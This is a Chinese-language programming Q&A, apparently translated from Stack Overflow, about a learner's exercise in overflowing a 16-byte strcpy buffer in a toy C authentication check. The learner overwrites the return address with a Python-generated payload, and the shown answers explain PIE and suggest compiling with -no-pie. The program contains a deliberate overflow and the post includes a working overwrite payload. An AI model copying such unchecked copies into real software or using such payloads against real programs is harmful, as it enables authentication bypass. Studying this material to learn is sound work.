我尝试在堆栈上使用缓冲区溢出 重定向返回地址。我的目标是覆盖" check_auth"中的返回地址。功能,主要继续在第22行(" printf(" GRANTED \ n");")。这是C代码:
fugi@calc:~/Desktop$ gcc -g auth_overflow.c -o auth_overflow
fugi@calc:~/Desktop$ gdb auth_overflow -q
Reading symbols from auth_overflow...done.
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int check_auth(char *pass){
6 char pass_buff[16];
7 int auth_flag = 0;
8 strcpy(pass_buff, pass);
9
10 if(strcmp(pass_buff, "yes") == 0)
(gdb)
11 auth_flag = 1;
12 return auth_flag;
13 }
14
15 int main( int argc, char *argv[]){
16 if(argc < 2){
17 printf("Usage: %s <password>\n\n", argv[0]);
18 exit(0);
19 }
20 if(check_auth(argv[1])){
(gdb)
21 printf("ACCESS\n");
22 printf("GRANTED\n");
23 }
24 else{
25 printf("\n Access Denied\n");
26 }
27 return 0;
28 }
我在64位Debian系统上使用gdb来调试代码。 我的问题是,覆盖在gdb之外不起作用。
我知道,指向main的返回地址和输入变量(pass_buff)的开头是40字节appart。
(gdb) i f
Stack level 0, frame at 0x7fffffffe170:
rip = 0x55555555477d in check_auth (auth_overflow.c:8); saved rip = 0x555555554800
called by frame at 0x7fffffffe190
source language c.
Arglist at 0x7fffffffe160, args: pass=0x7fffffffe562 'A' <repeats 56 times>
Locals at 0x7fffffffe160, Previous frame's sp is 0x7fffffffe170
Saved registers:
rbp at 0x7fffffffe160, rip at 0x7fffffffe168
(gdb) x/x *0x7fffffffe168
0x55554800: Cannot access memory at address 0x55554800
(gdb) x/x pass_buff
0x7fffffffe140: 0x00000001
(gdb) p 0x7fffffffe168 - 0x7fffffffe140
$1 = 40
所以,当我这样做时:
(gdb) run `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
Starting program: /home/fugi/Desktop/auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
GRANTED
Program received signal SIGBUS, Bus error.
main (argc=<error reading variable: Cannot access memory at address 0x414141414141413d>,
argv=<error reading variable: Cannot access memory at address 0x4141414141414131>) at auth_overflow.c:28
28 }
但是当我没有gdb的时候,它没有工作:
fugi@calc:~/Desktop$ ./auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55")'`
Segmentation fault
我可以做些什么来完成这项工作?
我也尝试通过重复地址来做到这一点,但问题是,我无法打印空字节:
(gdb) x/12xg $rsp
0x7fffffffe130: 0x00007fffffffe156 0x00007fffffffe56c
0x7fffffffe140: 0x4141414141414141 0x4141414141414141
0x7fffffffe150: 0x4141414141414141 0x4141414141414141
0x7fffffffe160: 0x4141414141414141 **0x0000555555554810**
0x7fffffffe170: 0x00007fffffffe268 0x0000000200000000
0x7fffffffe180: 0x0000555555554840 0x00007ffff7a57561
为了使地址适合我需要添加\ x00 \ x00但我得到:
fugi@calc:~/Desktop$ ./auth_overflow `python -c 'print("A"*40 + "\x10\x48\x55\x55\x55\x55\x00\x00")'`
**bash: warning: command substitution: ignored null byte in input**
Segmentation fault
有没有办法重复这样的地址?
先谢谢你的帮助
答案 0 :(得分:2)
我不了解您的开发环境中的确切构建设置,但我可以猜到一些问题。
在当前的Linux环境中,PIE(位置独立执行)已启用。这意味着,您的目标地址并不总是0x0000555555554810
。检查一下,将此代码添加到main函数:
printf("CODE: %p\n", (void*)main);
如果此代码每次都生成相同的地址,则禁用PIE。
argv
参数不能包含NULL字节(字符串结尾除外)。但这不是一个关键问题,因为在x86-64系统中,它们只使用6个低字节作为虚拟地址。
禁用PIE构建:使用-no-pie 。 gcc main.c -o main -no-pie
答案 1 :(得分:0)
如果你问的是如何返回check_auth(),请执行以下操作:
int main( int argc, char *argv[]){
if(argc < 2){
printf("Usage: %s <password>\n\n", argv[0]);
exit(0);
}
int flag = check_auth(argv[1]);
if(flag){
printf("ACCESS\n");
printf("GRANTED\n");
}else{
printf("\n Access Denied\n");
}
return flag;
}
我的主要语言是Java,实际上,如果我错了,请纠正我。在我们说话的时候,我正试着学习C.